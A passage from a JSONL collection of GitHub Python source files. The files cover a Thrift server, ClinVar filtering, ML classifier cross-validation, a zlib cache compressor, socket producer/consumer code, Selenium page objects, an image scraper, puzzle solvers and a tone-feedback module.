RPCIndexServer(threading.Thread):\r\n def __init__(self, handler):\r\n threading.Thread.__init__(self)\r\n self.handler = handler\r\n\r\n def run(self):\r\n with ThriftIndexServer('localhost', 9090, self.handler) as server:\r\n server.serve()","repo_name":"hungtantran/Findata","sub_path":"QueryService/thrift_index_server.py","file_name":"thrift_index_server.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40509579217","text":"# ! /usr/bin/python3\r\n# -*- coding = utf-8 -*-\r\n\r\nimport re\r\nimport os\r\n\r\nclinvar = \"variant_summary.txt\"\r\nfile = open('mutation2.txt', 'w+')\r\ng = open('genes.txt', 'r')\r\ngene = g.read()\r\ngenes = gene.split('\\n')\r\ngenes = sorted(genes)\r\n\r\nwith open(clinvar, 'r') as f:\r\n\tfor line in f:\r\n\t\tline = line.strip()\r\n\t\tarray = line.split('\\t')\r\n\t\tfor i in genes:\r\n\t\t\tif i in array:\r\n\t\t\t\tfile.write(i+'\\t'+array[2]+'\\n')\r\n\t\t\t\tprint(i)\r\n\t\t\t\r\nfile.close()\r\n\r\n\r\n","repo_name":"JMCinJiangSu/clinvar","sub_path":"newmut.py","file_name":"newmut.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21476454720","text":"def divisors(n):\n '''\n Given some number n, return a set of all the numbers that divide it. For example:\n >>> divisors(12)\n {1, 2, 3, 4, 6, 12}\n\n Params:\n n (int): The operand\n\n Returns:\n (set of int): All the divisors of n\n\n Raises:\n ValueError: If n is not a positive integer\n '''\n if type(n) is not int and n <= 0: \n raise ValueError(\"n is not ap positive integer\")\n\n a = 1\n while True:\n if a > n: \n return \n if n % a == 0:\n yield a \n a = a + 1\n\nif __name__ == \"__main__\": \n print(set(divisors(-2)))","repo_name":"eelizac/Software-Fundamentals-Work","sub_path":"examprep/divisors.py","file_name":"divisors.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70043594279","text":"answer = \"Y\"\n\nwhile answer == \"Y\" or answer == \"y\":\n print(\"Enter a positive number lower than 10\")\n\n string_Number = input()\n number = int(string_Number)\n\n while number >= 10 or number < 0:\n print(\"This number is invalid!\")\n print(\"Enter a positive number lower than 10\")\n string_Number = input()\n number = int(string_Number)\n\n if number < 9:\n number += 1\n print(str(number) + \" I win!\")\n elif number == 9:\n print(\"You win!\")\n\n print(\"Would you like to play again?\")\n answer = input()\n\nprint(\"Thanks for playing!\")\n","repo_name":"IPsychoticEnder/Software","sub_path":"weekOne/TheHighIqGame/highIqGame.py","file_name":"highIqGame.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41839805666","text":"# coding=utf-8\n# 代码文件：chapter19/ch19.9.py\n\nimport wx\nimport wx.grid\n\n\n# 自定义窗口类MyFrame\nclass MyFrame(wx.Frame):\n def __init__(self):\n super().__init__(parent=None, title='使用工具栏', size=(550, 500))\n self.Centre() # 设置窗口居中\n self.Show(True)\n\n self.text = wx.TextCtrl(self, -1, style=wx.EXPAND | wx.TE_MULTILINE)\n vbox = wx.BoxSizer(wx.VERTICAL)\n vbox.Add(self.text, proportion=1, flag=wx.EXPAND | wx.ALL, border=1)\n self.SetSizer(vbox)\n\n menubar = wx.MenuBar()\n\n file_menu = wx.Menu()\n new_item = wx.MenuItem(file_menu, wx.ID_NEW, text=\"新建\", kind=wx.ITEM_NORMAL)\n file_menu.Append(new_item)\n file_menu.AppendSeparator()\n\n edit_menu = wx.Menu()\n copy_item = wx.MenuItem(edit_menu, 100, text=\"复制\", kind=wx.ITEM_NORMAL)\n edit_menu.Append(copy_item)\n\n cut_item = wx.MenuItem(edit_menu, 101, text=\"剪切\", kind=wx.ITEM_NORMAL)\n edit_menu.Append(cut_item)\n\n paste_item = wx.MenuItem(edit_menu, 102, text=\"粘贴\", kind=wx.ITEM_NORMAL)\n edit_menu.Append(paste_item)\n\n file_menu.Append(wx.ID_ANY, \"编辑\", edit_menu)\n\n menubar.Append(file_menu, '文件')\n self.SetMenuBar(menubar)\n\n tb = wx.ToolBar(self, wx.ID_ANY)\n self.ToolBar = tb\n tsize = (24, 24)\n new_bmp = wx.ArtProvider.GetBitmap(wx.ART_NEW, wx.ART_TOOLBAR, tsize)\n open_bmp = wx.ArtProvider.GetBitmap(wx.ART_FILE_OPEN, wx.ART_TOOLBAR, tsize)\n copy_bmp = wx.ArtProvider.GetBitmap(wx.ART_COPY, wx.ART_TOOLBAR, tsize)\n paste_bmp = wx.ArtProvider.GetBitmap(wx.ART_PASTE, wx.ART_TOOLBAR, tsize)\n\n tb.AddTool(10, \"New\", new_bmp, kind=wx.ITEM_NORMAL, shortHelp=\"New\")\n tb.AddTool(20, \"Open\", open_bmp, kind=wx.ITEM_NORMAL, shortHelp=\"Open\")\n tb.AddSeparator()\n tb.AddTool(30, \"Copy\", copy_bmp, kind=wx.ITEM_NORMAL, shortHelp=\"Copy\")\n tb.AddTool(40, \"Paste\", paste_bmp, kind=wx.ITEM_NORMAL, shortHelp=\"Paste\")\n tb.AddSeparator()\n\n tb.AddTool(201, \"back\", wx.Bitmap(\"menu_icon/back.png\"), kind=wx.ITEM_NORMAL, shortHelp=\"Back\")\n tb.AddTool(202, \"forward\", wx.Bitmap(\"menu_icon/forward.png\"), kind=wx.ITEM_NORMAL, shortHelp=\"Forward\")\n self.Bind(wx.EVT_MENU, self.on_click, id=201, id2=202)\n tb.AddSeparator()\n\n tb.Realize()\n\n def on_click(self, event):\n event_id = event.GetId()\n if event_id == 201:\n self.text.SetLabel('单击【Back】按钮')\n else:\n self.text.SetLabel('单击【Forward】按钮')\n\n\nclass App(wx.App):\n\n def OnInit(self):\n # 创建窗口对象\n frame = MyFrame()\n frame.Show()\n return True\n\n\nif __name__ == '__main__':\n app = App()\n app.MainLoop() # 进入主事件循环\n","repo_name":"tonyguan/python1","sub_path":"code/chapter19/ch19.9.py","file_name":"ch19.9.py","file_ext":"py","file_size_in_byte":2853,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"18"} +{"seq_id":"4762535059","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom GaussianNB import classify\nfrom DecisionTree import classifyDT\nfrom SVMcl import classify_SVM\nfrom RandomForest import RFclassify\nimport matplotlib.patches as mpatches\nfrom sklearn.cross_validation import StratifiedKFold\nfrom sklearn import cross_validation\nimport pandas as pd\n\n\ndef kfoldCV (X, y):\n kf = StratifiedKFold(y,n_folds=5)\n y = np.asarray(y)\n baba = []\n NB = []\n DT = []\n RF = []\n SVM = []\n #make training and testing datasets\n for train_index, test_index in kf:\n X_train, X_test = X.loc[train_index], X.loc[test_index]\n y_train, y_test = y[train_index], y[test_index]\n AccuracyNB = classify(X_train,y_train,X_test,y_test)\n AccuracyDT = classifyDT(X_train,y_train,X_test,y_test)\n AccuracySVM = classify_SVM(X_train,y_train,X_test,y_test)\n AccuracyRF = RFclassify(X_train,y_train,X_test,y_test)\n NB.append(AccuracyNB)\n DT.append(AccuracyDT)\n RF.append(AccuracyRF)\n SVM.append(AccuracySVM)\n baba.append(NB)\n baba.append(DT)\n baba.append(RF)\n baba.append(SVM)\n df = pd.DataFrame(baba, index=['NB','DT', 'RF','SVM'])\n df.T.boxplot()\n# plt.subplots_adjust(bottom=0.25)\n plt.xticks(rotation=25)\n plt.ylim([0.6,1.05])\n plt.plot([0,0],[0,0],'r--')\n plt.title('(b)')\n plt.ylabel('Accuracy')\n plt.xlabel('Classifiers')\n plt.show()\n \ndef LeaveOneOut(X, y):\n loo = cross_validation.LeaveOneOut(n=len(y))\n y = np.asarray(y)\n Trues = []\n Falses = []\n #make training and testing datasets\n for train_index, test_index in loo:\n #print(\"TRAIN:\", train_index, \"TEST:\", test_index)\n X_train, X_test = X.loc[train_index], X.loc[test_index]\n y_train, y_test = y[train_index], y[test_index]\n Accuracy = RFclassify(X_train,y_train,X_test,y_test)\n if Accuracy == 1:\n Trues.append(Accuracy)\n else :\n Falses.append(Accuracy)\n Result = len(Trues)/(len(Trues)+len(Falses))\n print(Result)","repo_name":"meissanechami/ML_CKD_Detection","sub_path":"CValidated.py","file_name":"CValidated.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9662789622","text":"#!/usr/bin/env python3\n\"\"\"Defines the zlib compressor for django-redis-sdk backends\n\"\"\"\n\n\n# from __future__ import\n\n\n__all__ = [\n 'ZlibCompressor',\n]\n__version__ = '1.0.0.0'\n__author__ = \"Midhun C Nair<midhunch@gmail.com>\"\n__maintainers__ = [\n \"Midhun C Nair<midhunch@gmail.com>\",\n]\n\n\nimport zlib\nfrom django.core.exceptions import ImproperlyConfigured\n\nfrom .base_compressor import (\n BaseCompressor\n)\n\n\nclass ZlibCompressor(BaseCompressor):\n \"\"\"Defines the Zlib compressor\n \"\"\"\n\n def __init__(self, options, **kwargs):\n \"\"\"Initializes the Compressor\n \"\"\"\n super().__init__(options, **kwargs)\n\n _level = self._options.get('COMPRESS_LEVEL', None)\n _level = kwargs.get('COMPRESS_LEVEL', None) or _level or 5\n\n try:\n self._level = int(_level)\n except (ValueError, TypeError):\n raise ImproperlyConfigured(\n \"COMPRESS_LEVEL: expected integer got '%s'\" % type(_level)\n )\n\n if (self._level < 1 or self._level > 9):\n raise ImproperlyConfigured(\n \"COMPRESS_LEVEL: expected value between [1 - 9] both inclusive\"\n )\n\n @property\n def level(self):\n \"\"\"level property\n \"\"\"\n return self._level\n\n\n def compress(self, value):\n \"\"\"Compresses the value\n \"\"\"\n return zlib.compress(value, self._level)\n\n def decompress(self, value):\n \"\"\"Decompresses the value\n \"\"\"\n return zlib.decompress(value)\n","repo_name":"midhuncnair/django_redis_sdk","sub_path":"django_redis_sdk/compressors/zlib_compressor.py","file_name":"zlib_compressor.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42400245714","text":"import socket, sys, time\nfrom threading import Thread\nfrom queue import Queue\n\n\ndef producer_worker():\n connection_pro, address_pro = sc_pro.accept()\n print(\"[Producer connected]\")\n try:\n while True:\n msg = connection_pro.recv(100).decode()\n for i in msg:\n queue_events.put(i)\n if msg:\n print(\"[Events created]\")\n print(\"[Remain events: \" + str(queue_events.qsize()) + \"]\")\n except socket.error:\n connection_pro.close()\n sys.exit()\n\ndef consumer_worker(consumer_id):\n try:\n connection_con, address_con = sc_con.accept()\n list_consumers.append(connection_con)\n consumer_id_str = str(consumer_id)\n print(\"[consumer \"+consumer_id_str+\" connected]\")\n print(\"[\"+str(len(list_consumers))+\" consumers online]\")\n connection_con.send(consumer_id_str.encode())\n \n while True:\n if not queue_events.empty():\n msg = queue_events.get()\n connection_con.send(msg.encode())\n print(\"[Remain events: \" + str(queue_events.qsize()) + \"]\")\n else:\n connection_con.send(\"EMPTY\".encode())\n time.sleep(1)\n \n except socket.error:\n print(\"[Consumer \"+consumer_id_str+\" disconnected]\")\n list_consumers.remove(connection_con)\n print(\"[\"+str(len(list_consumers))+\" consumers online]\")\n connection_con.close()\n \n\nif __name__ == '__main__':\n try:\n queue_events = Queue()\n host, port_pro_str, port_con_str = input().split()\n port_pro = int(port_pro_str)\n port_con = int(port_con_str)\n \n sc_pro = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sc_pro.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) \n sc_pro.bind((host, port_pro))\n sc_pro.listen(5)\n \n sc_con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sc_con.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n sc_con.bind((host, port_con))\n sc_con.listen(socket.SOMAXCONN-10)\n \n producer_thread = Thread(target=producer_worker)\n producer_thread.start()\n \n consumer_id = 0\n list_consumers = list()\n i = 0\n while i < socket.SOMAXCONN-10:\n consumer_id += 1\n i += 1\n worker_thread = Thread(target=consumer_worker, args=(consumer_id,))\n worker_thread.start()\n except KeyboardInterrupt:\n list_consumers.clear()\n sc_pro.close()\n sc_con.close()\n sys.exit(0)\n","repo_name":"becooq81/Socket-Producer-Consumer","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17852045394","text":"from Seminars.Sem_4.BaseApp import BasePage\nfrom selenium.webdriver.common.by import By\nimport logging\n\n\nclass TestSearchLocators:\n \"\"\"Класс для хранения локаторов\"\"\"\n # Локатор поля ввода username страницы авторизации\n LOCATOR_LOGIN_FIELD = (By.XPATH, '//*[@id=\"login\"]/div[1]/label/input')\n # Поле ввода password страницы авторизации\n LOCATOR_PASS_FIELD = (By.XPATH, '//*[@id=\"login\"]/div[2]/label/input')\n # Блок ошибки страницы авторизации\n LOCATOR_ERROR_FIELD = (By.XPATH, '//*[@id=\"app\"]/main/div/div/div[2]/h2')\n # Ссылка на профиль пользователя с выпадающим меню на главной странице\n LOCATOR_USER_PROFILE_LINK = (By.XPATH, '//*[@id=\"app\"]/main/nav/ul/li[3]/a')\n # Поле ввода Title формы создания поста\n LOCATOR_FORM_POST_TITLE = (By.XPATH, '/html/body/div/main/div/div/form/div/div/div[1]/div/label/input')\n # Поле ввода Description формы создания поста\n LOCATOR_FORM_POST_DESCRIPTION = (By.XPATH, '/html/body/div/main/div/div/form/div/div/div[2]/div/label/span/textarea')\n # Поле ввода Content формы создания поста\n LOCATOR_FORM_POST_CONTENT = (By.XPATH, '/html/body/div/main/div/div/form/div/div/div[3]/div/label/span/textarea')\n # Название поста на странице поста сразу после его создания\n LOCATOR_POST_NAME = (By.XPATH, '//*[@id=\"app\"]/main/div/div[1]/h1')\n # Кнопка Login страницы авторизации\n LOCATOR_LOGIN_BTN = (By.CSS_SELECTOR, 'button')\n # Кнопка создания поста на главной странице\n LOCATOR_CREATE_POST_BTN = (By.CSS_SELECTOR, '#create-btn')\n # Кнопка сохранения поста SAVE формы создания поста\n LOCATOR_SAVE_POST_BTN = (By.CSS_SELECTOR, '.mdc-button__label')\n # Кнопка \"Contact\", открытие формы\n LOCATOR_OPEN_FORM_CONTACT_BTN = (By.CSS_SELECTOR, '#app > main > nav > ul > li:nth-child(2) > a')\n # Поле ввода \"Your name\" в форме обратной связи\n LOCATOR_YOUR_NAME_CONTACT_US = (By.XPATH, '//*[@id=\"contact\"]/div[1]/label/input')\n # Поле ввода \" Your email\" в форме обратной связи\n LOCATOR_YOUR_EMAIL_CONTACT_US = (By.XPATH, '//*[@id=\"contact\"]/div[2]/label/input')\n # Поле \"Content\" в форме обратной связи\n LOCATOR_CONTENT_CONTACT_US = (By.XPATH, '//*[@id=\"contact\"]/div[3]/label/span/textarea')\n # Кнопка \"CONTACT US\" в форме обратной связи\n LOCATOR_CONTACT_US_BTN = (By.XPATH, \"\"\"//*[@id=\"contact\"]/div[4]/button\"\"\")\n # (By.CSS_SELECTOR, 'button')\n\n\n\n\n\nclass OperationsHelper(BasePage):\n \"\"\"Класс, содержащий методы для работы с элементами на веб-страницах\"\"\"\n def enter_login(self, word):\n logging.info(f'Send {word} to element {TestSearchLocators.LOCATOR_LOGIN_FIELD[1]}')\n \"\"\"Ввод логина username на странице авторизации\"\"\"\n login_field = self.find_element(TestSearchLocators.LOCATOR_LOGIN_FIELD)\n login_field.clear()\n login_field.send_keys(word)\n\n def enter_pass(self, word):\n \"\"\"Ввод пароля password на странице авторизации\"\"\"\n logging.info(f'Send {word} to element {TestSearchLocators.LOCATOR_PASS_FIELD[1]}')\n login_field = self.find_element(TestSearchLocators.LOCATOR_PASS_FIELD)\n login_field.clear()\n login_field.send_keys(word)\n\n def get_error_text(self):\n \"\"\"Ищет элемент с оповещением об ошибке и получает атрибут text\"\"\"\n error_field = self.find_element(TestSearchLocators.LOCATOR_ERROR_FIELD, time=2)\n text = error_field.text\n logging.info(f'Founded text {text} in error field {TestSearchLocators.LOCATOR_ERROR_FIELD[1]}')\n return text\n\n def get_login_text(self):\n \"\"\"Возврат имени пользователя\"\"\"\n element_successful_login = self.find_element(TestSearchLocators.LOCATOR_USER_PROFILE_LINK, time=2)\n text = element_successful_login.text\n return text\n\n def get_post_title(self):\n \"\"\"Возврат названия поста пользователя\"\"\"\n element_post_title = self.find_element(TestSearchLocators.LOCATOR_POST_NAME, time=2)\n text = element_post_title.text\n return text\n\n def enter_post_title(self, word):\n \"\"\"Ввод заголовка Title в форме создания поста\"\"\"\n logging.info(f'Send {word} to element {TestSearchLocators.LOCATOR_FORM_POST_TITLE[1]}')\n title_field = self.find_element(TestSearchLocators.LOCATOR_FORM_POST_TITLE)\n title_field.clear()\n title_field.send_keys(word)\n\n def enter_post_description(self, word):\n \"\"\"Ввод описания Description в форме создания поста\"\"\"\n logging.info(f'Send {word} to element {TestSearchLocators.LOCATOR_FORM_POST_DESCRIPTION[1]}')\n description_field = self.find_element(TestSearchLocators.LOCATOR_FORM_POST_DESCRIPTION)\n description_field.clear()\n description_field.send_keys(word)\n\n def enter_post_content(self, word):\n \"\"\"Ввод поста Content в форме создания поста\"\"\"\n logging.info(f'Send {word} to element {TestSearchLocators.LOCATOR_FORM_POST_CONTENT[1]}')\n content_field = self.find_element(TestSearchLocators.LOCATOR_FORM_POST_CONTENT)\n content_field.clear()\n content_field.send_keys(word)\n\n\n def enter_your_name_contact_us(self, word):\n \"\"\"Ввод Вашего имени в форме обратной связи\"\"\"\n logging.info(f'Send {word} to element {TestSearchLocators.LOCATOR_YOUR_NAME_CONTACT_US[1]}')\n content_field = self.find_element(TestSearchLocators.LOCATOR_YOUR_NAME_CONTACT_US)\n content_field.clear()\n content_field.send_keys(word)\n\n\n def enter_your_mail_contact_us(self, word):\n \"\"\"ВВод Вашего email в форме обратной связи\"\"\"\n logging.info(f'Send {word} to element {TestSearchLocators.LOCATOR_YOUR_EMAIL_CONTACT_US[1]}')\n content_field = self.find_element(TestSearchLocators.LOCATOR_YOUR_EMAIL_CONTACT_US)\n content_field.clear()\n content_field.send_keys(word)\n\n\n def enter_content_contact_us(self, word):\n \"\"\"ВВод Content в форме обратной связи\"\"\"\n logging.info(f'send {word} to element {TestSearchLocators.LOCATOR_CONTENT_CONTACT_US[1]}')\n content_field = self.find_element(TestSearchLocators.LOCATOR_CONTENT_CONTACT_US)\n content_field.clear()\n content_field.send_keys(word)\n\n\n\n def click_login_button(self):\n \"\"\"Нажатие кнопки Login страницы авторизации\"\"\"\n logging.info('Click login button')\n self.find_element(TestSearchLocators.LOCATOR_LOGIN_BTN).click()\n\n def click_create_post_button(self):\n \"\"\"Нажатие кнопки создания поста\"\"\"\n logging.info('Click creating post button')\n self.find_element(TestSearchLocators.LOCATOR_CREATE_POST_BTN).click()\n\n def click_save_post_button(self):\n \"\"\"Нажатие кнопки сохранения поста\"\"\"\n logging.info('Click saving post button')\n self.find_element(TestSearchLocators.LOCATOR_SAVE_POST_BTN).click()\n\n\n def click_contact_button(self):\n \"\"\"Нажатие кнопки Contact, открытие формы\"\"\"\n logging.info('Click on the button Contact')\n self.find_element(TestSearchLocators.LOCATOR_OPEN_FORM_CONTACT_BTN).click()\n\n\n def click_contact_us_button(self):\n \"\"\"Клик по кнопке 'CONTACT US' \"\"\"\n logging.info('Click on the button CONTACT US')\n self.find_element(TestSearchLocators.LOCATOR_CONTACT_US_BTN)\n\n\n def get_alert_contact_us(self):\n \"\"\"Получение текста подстерждение действия на странице \"\"\"\n logging.info('Get text alert')\n text = self.get_alert_text()\n logging.info(text)\n return text\n\n\n\n\n","repo_name":"TatSoz/Test_Web_by_Python","sub_path":"Seminars/Sem_3/HW_3/testpage.py","file_name":"testpage.py","file_ext":"py","file_size_in_byte":8524,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12419162758","text":"import time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom webdriver_manager.chrome import ChromeDriverManager\n\n# 브라우저 꺼짐 방지\nchrome_options = Options()\nchrome_options.add_experimental_option(\"detach\", True)\n\n# 불필요한 에러 메시지 없애기\nchrome_options.add_experimental_option(\"excludeSwitches\", [\"enable-logging\"])\nservice = Service(executable_path=ChromeDriverManager().install())\ndriver = webdriver.Chrome(service=service, options=chrome_options)\n\n# 웹페이지 해당 주소 이동\ndriver.get(\"https://www.google.co.kr/imghp?hl=ko&tab=wi&authuser=0&ogbl\")\n# 로딩이 끝날 때까지 10초 기다리기\ndriver.implicitly_wait(10)\n\n# 검색창 클릭\nsearch = driver.find_element(By.CSS_SELECTOR, 'input.gLFyf')\nsearch.click()\n\n# 검색어 입력\nsearch.send_keys(\"호텔\")\nsearch.send_keys(Keys.ENTER)\n\n# 스크롤 끝까지 내리기\nSCROLL_PAUSE_TIME = 2\n\nlast_height = driver.execute_script(\"return document.body.scrollHeight\")\nwhile True:\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n time.sleep(SCROLL_PAUSE_TIME)\n new_height = driver.execute_script(\"return document.body.scrollHeight\")\n\n if new_height == last_height:\n try:\n driver.find_element(By.CSS_SELECTOR, \".mye4qd\").click()\n except:\n break\n last_height = new_height\n\n\n# 이미지 url 가져오기\ndef img_url():\n links = []\n images = driver.find_elements(By.CSS_SELECTOR, \".rg_i.Q4LuWd\")\n try:\n for image in images:\n driver.execute_script(\"arguments[0].click();\", image)\n time.sleep(2)\n imgUrl = driver.find_element(By.XPATH,\n '//*[@id=\"Sva75c\"]/div[2]/div/div[2]/div[2]/div[2]/c-wiz/div/div[1]/div[2]/div[2]/div/a/img').get_attribute(\n \"src\")\n if (imgUrl != None):\n links.append(imgUrl)\n except Exception as e:\n print(e)\n pass\n\n print(\"찾은 이미지 개수 : \", len(links))\n\n driver.close()\n\n return links\n","repo_name":"im-Lily/Crawling","sub_path":"hotel/googleImgUrl.py","file_name":"googleImgUrl.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11925978081","text":"from collections import deque\nfrom math import inf\nimport sys\ninput = sys.stdin.readline\n\ndx = [-1, 0, 1, 0]\ndy = [0, -1, 0, 1]\n\ndef bfs(_x, _y):\n q = deque([(0, _x, _y, 0)])\n while q:\n bit, x, y, count = q.popleft()\n if arr[x][y] == '1':\n print(count); return;\n\n if not visited[bit][x][y]:\n visited[bit][x][y] = True\n for i in range(4):\n nx = x + dx[i]; ny = y + dy[i]\n if 0 <= nx < h and 0 <= ny < w and arr[nx][ny] != '#':\n if arr[nx][ny] == '0' or arr[nx][ny] == '.' or arr[nx][ny] == '1':\n q.append((bit,nx,ny,count+1))\n else:\n if 0 <= ord(arr[nx][ny]) - 65 <= 5:\n door = ord(arr[nx][ny]) - 65\n if not bit & 1 << door: continue\n q.append((bit,nx,ny,count+1))\n if 0 <= ord(arr[nx][ny]) - 97 <= 5:\n key = ord(arr[nx][ny]) - 97\n nbit = bit + (1 << key) if not bit & (1 << key) else bit\n q.append((nbit,nx,ny,count+1))\n print(-1)\n\ndef solution(w,h,arr):\n global visited, dirty\n for i in range(h):\n for j in range(w):\n if arr[i][j] == '0':\n x = i; y = j\n break\n visited = [[[False for _ in range(w)] for _ in range(h)] for _ in range(1 << 6)]\n bfs(x, y)\n\nif __name__ == '__main__':\n global w, h, arr\n h, w = map(int, input().strip().split())\n arr = []\n for _ in range(h):\n arr.append(list(map(str, input().strip())))\n solution(w,h,arr)","repo_name":"WonyJeong/wony-algo","sub_path":"BOJ/level/gold/1194.py","file_name":"1194.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74543211878","text":"import sys, time\nimport networkx as nx\n\nstart = time.time()\n\nG = nx.Graph()\n\nf = open(\"network\", \"r\")\nfor line in f:\n fields = line.strip().split()\n G.add_edge(int(fields[0]), int(fields[1]))\nf.close()\n\nsys.stderr.write(\"Data load! Runtime: %s\\n\" % (time.time() - start))\n\navg_clusterings = nx.clustering(G)\n\nsys.stderr.write(\"Clusering calculated! Runtime: %s\\n\" % (time.time() - start))\n\nneigh_degree = nx.average_neighbor_degree(G)\n\nsys.stderr.write(\"AVG Neighbor degree calculated! Runtime: %s\\n\" % (time.time() - start))\n\nbet_centr = nx.betweenness_centrality(G, k = 10000)\n\nsys.stderr.write(\"Betweenness centrality calculated! Runtime: %s\\n\" % (time.time() - start))\n\nclo_centr = nx.closeness_centrality(G)\n\nsys.stderr.write(\"Closeness centrality calculated! Runtime: %s\\n\" % (time.time() - start))\n\nf = open(\"node_stats_approx\", 'w')\nfor i in G:\n f.write(\"%d::%s::%s::%s::%s\\n\" % (i, avg_clusterings[i], neigh_degree[i], bet_centr[i], clo_centr[i]))\nf.close()\n\nsys.stderr.write(\"Done! Runtime: %s\\n\" % (time.time() - start))\n","repo_name":"GiulioRossetti/leader_detect","sub_path":"netstats.py","file_name":"netstats.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"25217451082","text":"# https://leetcode.com/problems/basic-calculator/\n# tags: #facebook, #matrix, #recursion, #stack, #string\n#\n# Solution: Sign stack + Two Pointers\n# In order to solve this problem in one-pass do the following:\n# 1. When the current char is numeric find the move i to the next non-numeric char or end of the string\n# and add this found number along with the last sign found.\n# 2. Else, we have two options:\n# * If the current char is a closing parenthesis just remove the last seen sign.\n# * This is the tricky part, if the current char is a minus '-' append an inverted sign to the stack, on the\n# contrary if it's a plus or an opening parenthesis append the last seen sign to the stack consistent and\n# move the index.\n# Time complexity: O(n), Space complexity O(n)\nfrom collections import deque\n\n\nclass Solution:\n def calculate(self, s: str) -> int:\n i, n, total, = 0, len(s), 0\n signs = deque([1, 1])\n\n while i < n:\n c = s[i]\n\n if c.isdigit():\n start = i\n while i < n and s[i].isdigit():\n i += 1\n total += int(s[start: i]) * signs.pop()\n else:\n if s[i] == \")\":\n signs.pop()\n elif s[i] in '+-(':\n signs.append(signs[-1] * (1, -1)[c == \"-\"])\n i += 1\n\n return total\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n print(sol.calculate(s=\"1 + 1\")) # 2\n print(sol.calculate(s=\" 2-1 + 2 \")) # 3\n print(sol.calculate(s=\"(1+(4+5+2)-3)+(6+8)\")) # 23\n","repo_name":"ronelzb/leetcode","sub_path":"stack/0224_basic_calculator.py","file_name":"0224_basic_calculator.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29128130033","text":"#!/usr/bin/python\n\nimport time\n\nimport app_ui as ui\n#import utils \nimport led_command as lc\n\ntones = [309, 412, 583, 734, 778, 824, 1166, 1235, 1309, 1387, 1962, 2078, 2202]\n\ntone_very_low1 = 0\ntone_very_low2 = 1\ntone_very_low3 = 2\ntone_very_low = 1\n\ntone_low4 = 3\ntone_low5 = 4\ntone_low6 = 5\ntone_low = 4\n\ntone_mid1 = 6\ntone_mid2 = 7\ntone_mid3 = 8\ntone_mid4 = 9\ntone_mid = 6\n\n# mid/low good on/off toggle\n\ntone_high1 = 10\ntone_high2 = 11\ntone_high1 = 12\ntone_high = 11\n\nvery_short = 50\nshort = 100\nlong = 300\nvery_long = 1000\n\nglobal sleep_time, key_callback, verbose_mode\nverbose_mode = False\n\ndef begin(verbose_mode_=False):\n global verbose_mode\n verbose_mode = verbose_mode_ \n lc.begin() #verbose_mode)\n lc.stop_all()\n\n# ========================================\n\ndef send(command):\n lc.command(\"::3:pau:\" + command + \":3:cnt:1:cnt\")\n ui.report_verbose_alt(\"sent: \" + command)\n\ndef tone(note, duration):\n freq = tones[note]\n send(str(freq) + \",\" + str(duration) + \":ton\")\n\ndef multi_tone(times, note, duration):\n for n in range(times):\n tone(note, duration)\n time.sleep(1000.0 / duration)\n\ndef store_long_press_tone(note=None, duration=None):\n if note == None:\n note = tone_high\n if duration == None:\n duration = long\n freq = tones[note]\n\n # this causes two beeps on first key press\n #send(\"3,-1,0:key:0:set:\" + str(freq) + \",\" + str(duration) + \":ton\")\n lc.command_str(\"3,-1,0:key:0:set:\" + str(freq) + \",\" + str(duration) + \":ton\")\n\n# functional tone types\n\ndef hello():\n tone(tone_very_low, very_short)\n tone(tone_low, very_short)\n tone(tone_mid, very_short)\n tone(tone_high, very_short)\n\ndef goodbye():\n tone(tone_high, very_short)\n tone(tone_mid, very_short)\n tone(tone_low, very_short)\n tone(tone_very_low, very_short)\n\ndef toggle_on():\n tone(tone_mid, short)\n\ndef toggle_off():\n tone(tone_low, short)\n\ndef gone():\n tone(tone_very_low, long)\n\ndef keypress():\n tone(tone_high, very_short)\n\ndef activate():\n tone(tone_high, short)\n\ndef activate2():\n tone(tone_high, very_short)\n time.sleep(short / 1000.0)\n tone(tone_high, very_short)\n\ndef long_activate():\n tone(tone_high, long)\n\ndef right():\n tone(tone_low, very_short)\n tone(tone_high, very_short)\n\ndef wrong():\n tone(tone_very_low, 